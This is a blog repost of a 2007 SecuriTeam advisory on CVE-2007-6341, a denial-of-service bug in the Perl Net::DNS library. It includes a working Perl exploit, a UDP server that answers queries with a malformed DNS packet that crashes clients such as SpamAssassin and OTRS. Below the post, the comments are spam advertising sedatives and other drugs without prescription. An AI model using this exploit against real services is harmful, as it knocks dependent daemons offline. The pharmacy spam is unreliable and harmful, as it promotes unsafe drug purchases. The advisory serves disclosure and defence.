Sunday, December 16, 2007

[UNIX] Net::DNS Malformed Packet DoS

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html


- - - - - - - - -

Net::DNS Malformed Packet DoS
------------------------------------------------------------------------


SUMMARY

<http://www.net-dns.org/> Net::DNS is "a DNS resolver implemented in
Perl. It allows the programmer to perform nearly any type of DNS query
from a Perl script". beSTORM's DNS Server module has been able to detect a
vulnerability in Net::DNS allows a malicious server to cause the Net::DNS
package to crash by sending it a malformed DNS response, this in turn
would cause any product using the package to crash with it.

DETAILS

Vulnerable Systems:
* Net::DNS version 0.60 build 654

It is possible to cause Net::DNS to "croak" by responding to it with a
malformed DNS response.

The croak itself doesn't allow you to overflow or execute arbitrary code,
but as it cannot be captured using normal Perl code - as with an eval()
function for example - a user of the Net::DNS package can be caused to
"crash", his program to forcefully terminate if it encounters this DNS
response.

The problem steams from the fact that:
if ($self->{"rdlength"} > 0) {
$self->{"address"} = inet_ntoa(substr($$data, $offset, 4));
}

found in Net/DNS/RR/A.pm

Doesn't properly verify that $$data has 4 bytes to read before attempting
to substr - which in turn causes the data sent to inet_ntoa to not have
enough bytes which causes this code:
ip_address = SvPVbyte(ip_address_sv, addrlen);
if (addrlen == sizeof(addr) || addrlen == 4)
addr.s_addr =
(ip_address[0] & 0xFF) << 24 |
(ip_address[1] & 0xFF) << 16 |
(ip_address[2] & 0xFF) << 8 |
(ip_address[3] & 0xFF);
else
croak("Bad arg length for %s, length is %d, should be %d",
"Socket::inet_ntoa", addrlen, sizeof(addr));

To issue a "croak" - causing the perl to abort.

Severity:
The vulnerability itself doesn't pose any problem as Socket::inet_ntoa
handles it as expected, seriousness of this vulnerability is caused by the
fact that several other packages such as SpamAssassin and OTRS rely on
Net::DNS for resolving hostnames - this could at the very least be a
nuisance where an attacker can crash the daemons run by these two
programs.

Vendor status:
We have reported this issue to Net::DNS 6 weeks ago:
<https://rt.cpan.org/Public/Bug/Display.html?id=30316> Security issue with
Net::DNS::Resolver, but no response has been received.

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6341>
CVE-2007-6341

Exploit:
#!/usr/bin/perl
# Beyond Security(c)
# Vulnerability found by beSTORM - DNS Server module

use strict;
use IO::Socket;
my($sock, $oldmsg, $newmsg, $hisaddr, $hishost, $MAXLEN, $PORTNO);
$MAXLEN = 1024;
$PORTNO = 5351;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp') or die
"socket: $@";
print "Awaiting UDP messages on port $PORTNO\n";

my $oldmsg =
"\x5a\x40\x81\x80\x00\x01\x00\x01\x00\x01\x00\x01\x07\x63\x72\x61".
"\x63\x6b\x6d\x65\x0a\x6d\x61\x73\x74\x65\x72\x63\x61\x72\x64\x03".
"\x63\x6f\x6d\x00\x00\x01\x00\x01\x03\x77\x77\x77\x0e\x62\x65\x79".
"\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00".
"\x00\x01\x00\x01\x00\x00\x00\x01\x00\x04\xc0\xa8\x01\x02\x0e\x62".
"\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f".
"\x6d\x00\x00\x02\x00\x01\x00\x00\x00\x01\x00\x1b\x02\x6e\x73\x03".
"\x77\x77\x77\x0e\x62\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69".
"\x74\x79\x03\x63\x6f\x6d\x00\x02\x6e\x73\x0e\x62\x65\x79\x6f\x6e".
"\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00\x00\x01".
"\x00\x01\x00\x00\x00\x01\x00\x01\x41";
while ($sock->recv($newmsg, $MAXLEN)) {
my($port, $ipaddr) = sockaddr_in($sock->peername);
$hishost = gethostbyaddr($ipaddr, AF_INET);
print "Client $hishost said ``$newmsg''\n";
$sock->send($oldmsg);
$oldmsg = "[$hishost] $newmsg";
}
die "recv: $!";


ADDITIONAL INFORMATION

The information has been provided by beSTORM.
The original article can be found at:
<http://www.beyondsecurity.com/bestorm_overview.html>

http://www.beyondsecurity.com/bestorm_overview.html

========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

34 comments:

  1. Anonymous9:19 AM

    generic ambien buy ambien zoloft drug interactions - ambien side effects skin rash

    ReplyDelete
  2. Anonymous3:50 PM

    zolpidem online buy ambien online canada - zolpidem 10 mg erowid

    ReplyDelete
  3. Anonymous2:09 AM

    valium cost valium und diazepam - valium no prescription overnight

    ReplyDelete
  4. Anonymous11:49 AM

    cheapest ativan ativan generic brand - ativan withdrawal death

    ReplyDelete
  5. Anonymous3:53 PM

    zolpidem high zolpidem 93 - ambien side effects anxiety attacks

    ReplyDelete
  6. Anonymous11:41 AM

    xanax online generic xanax canada - xanax withdrawal kills

    ReplyDelete
  7. Anonymous10:24 PM

    buy diazepam diazepam order no prescription - diazepam buy spain

    ReplyDelete
  8. Anonymous1:35 AM

    order xanax valor alprazolam 0 5mg - xanax generic

    ReplyDelete
  9. Anonymous4:42 PM

    order lorazepam lorazepam 1mg mri - ativan recreational use

    ReplyDelete
  10. Anonymous6:17 PM

    order soma safe place buy soma online - carisoprodol a narcotic

    ReplyDelete
  11. Anonymous4:23 AM

    ambien price ambien dosage travel - ambien 74 pill

    ReplyDelete
  12. Anonymous10:09 AM

    carisoprodol can order soma online legally - buy soma online no prescription cheap

    ReplyDelete
  13. Anonymous2:42 PM

    buy valium online valium dosage 30 mg - valium pain pill

    ReplyDelete
  14. Anonymous11:05 PM

    carisoprodol soma somanabolic muscle maximizer bodybuilding - filmes online soma todos medos

    ReplyDelete
  15. Anonymous5:08 PM

    buy soma soma intimates printable coupon - best place buy soma online

    ReplyDelete
  16. Anonymous11:02 PM

    generic diazepam 5mg of valium and alcohol - buy valium online no prescription uk

    ReplyDelete
  17. Anonymous4:03 AM

    soma cheap carisoprodol 350 mg side effects - buy somatropin pill form

    ReplyDelete
  18. Anonymous7:22 AM

    ambien online pharmacy buy ambien online from canada - difference between ambien cr zolpidem er

    ReplyDelete
  19. Anonymous4:53 PM

    buy valium online valium no prescription - valium and anxiety

    ReplyDelete
  20. Anonymous7:44 PM

    generic soma soma 5 panel drug screen - carisoprodol erowid vault

    ReplyDelete
  21. Anonymous11:37 AM

    buy soma online buy somatropin hgh online - buy generic soma online no prescription

    ReplyDelete
  22. Anonymous12:47 PM

    valium no prescription needed valium price in pakistan - valium high description

    ReplyDelete
  23. Anonymous1:29 PM

    online ambien ambien strengths - go sleep ambien

    ReplyDelete
  24. Anonymous12:46 AM

    valium price tramadol with valium high - valium 5mg bivirkninger

    ReplyDelete
  25. Anonymous5:30 PM

    Blogger: Security World - Post a Comment ventolin online no prescription - buy ventolin online no prescription http://www.ventolinforsaleonline.com/#buy-ventolin-online-no-prescription

    ReplyDelete
  26. Anonymous1:06 PM

    dalsCleax cost of strattera - strattera online pharmacy http://www.stratterabestprice.com/#strattera-online-pharmacy

    ReplyDelete
  27. Anonymous12:50 PM

    2, finasteride no prescription - buy propecia online http://www.wheretobuymedsonline.com/propecia/], [url=http://www.wheretobuymedsonline.com/propecia/]buy propecia [/url]

    ReplyDelete
  28. Anonymous6:52 AM

    tfv maxalt 10 mg - generic maxalt http://www.maxaltonlinesale.net/#order-maxalt, [url=http://www.maxaltonlinesale.net/#order-maxalt]cheap maxalt [/url]

    ReplyDelete
  29. Anonymous5:28 PM

    2, purchase lasix no prescription - order lasix online no prescription http://www.lasixordernow.net/, [url=http://www.lasixordernow.net/]cheap lasix online [/url]

    ReplyDelete
  30. Anonymous10:23 AM

    4, provigil online pharmacy - generic provigil http://www.energyofprovigil.net/#provigil-online-pharmacy, [url=http://www.energyofprovigil.net/#buy-provigil]buy provigil[/url]

    ReplyDelete
  31. Anonymous2:24 PM

    1, [url=http://www.maxaltonlinehelp.net/]Buy Maxalt [/url] - Maxalt For Sale - buy maxalt online no prescription http://www.maxaltonlinehelp.net/.

    ReplyDelete
  32. Anonymous8:51 PM

    accutane for sale - generic accutane http://www.isotretinoinonsale.net/, cheap accutane

    ReplyDelete
  33. Anonymous6:48 PM

    11, [url=http://www.costofklonopin.com/]Generic Klonopin[/url] - Klonopin Medication - clonazepam online http://www.costofklonopin.com/ .

    ReplyDelete
  34. Anonymous5:14 PM

    14, [url=http://www.cymbaltaonlineorder.com/]Order Cymbalta Online[/url] - Order Cymbalta Online - cheap cymbalta online http://www.cymbaltaonlineorder.com/ .

    ReplyDelete